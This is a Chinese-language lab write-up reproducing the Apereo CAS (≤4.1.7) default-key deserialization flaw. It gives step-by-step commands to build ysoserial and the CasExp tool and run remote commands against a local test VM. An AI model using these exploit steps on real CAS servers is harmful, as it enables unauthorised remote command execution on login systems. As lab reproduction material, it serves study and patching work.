漏洞简介
Apereo CAS 是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞(硬编码导致的漏洞),进而执行任意命令。
版本: Apereo CAS <= 4.1.7
环境搭建
拉docker环境之后访问web界面http://127.0.0.1:8080/cas/login
下载安装相关工具
1、安装 jdk 1.8 ,配置好系统环境变量
2、安装 maven ,配置好系统环境变量
下载链接:
https://maven.apache.org/download.cgi
mvn --version
查看安装情况
3、下载ysoserial-master-4df2ee2bb5-1.jar
链接:
https://jitpack.io/com/github/frohoff/ysoserial/master-4df2ee2bb5-1/ysoserial-master-4df2ee2bb5-1.jar
将其安装到本地Maven
注意更改文件位置:mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file -Dfile=ysoserial-master-4df2ee2bb5-1.jar -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.6 -Dpackaging=jar -DlocalRepositoryPath=my-repo
4、下载 CasExp 项目源码
链接:
https://codeload.github.com/potats0/CasExp/zip/master
切换到CasExp-master文件,将pom.xml打包成jar文件
mvn clean package assembly:single
查看jar文件
漏洞复现
使用打包好的CasExp进行远程命令执行
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.5.129:8080/cas/login "touch /opt/Apereo"
登录虚拟机查看Apereo已创建
执行有回显的命令:java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.5.129:8080/cas/login "pwd"
或者生成payload抓包替换execution值:
下载工具:https://codeload.github.com/potats0/CasExp/zip/master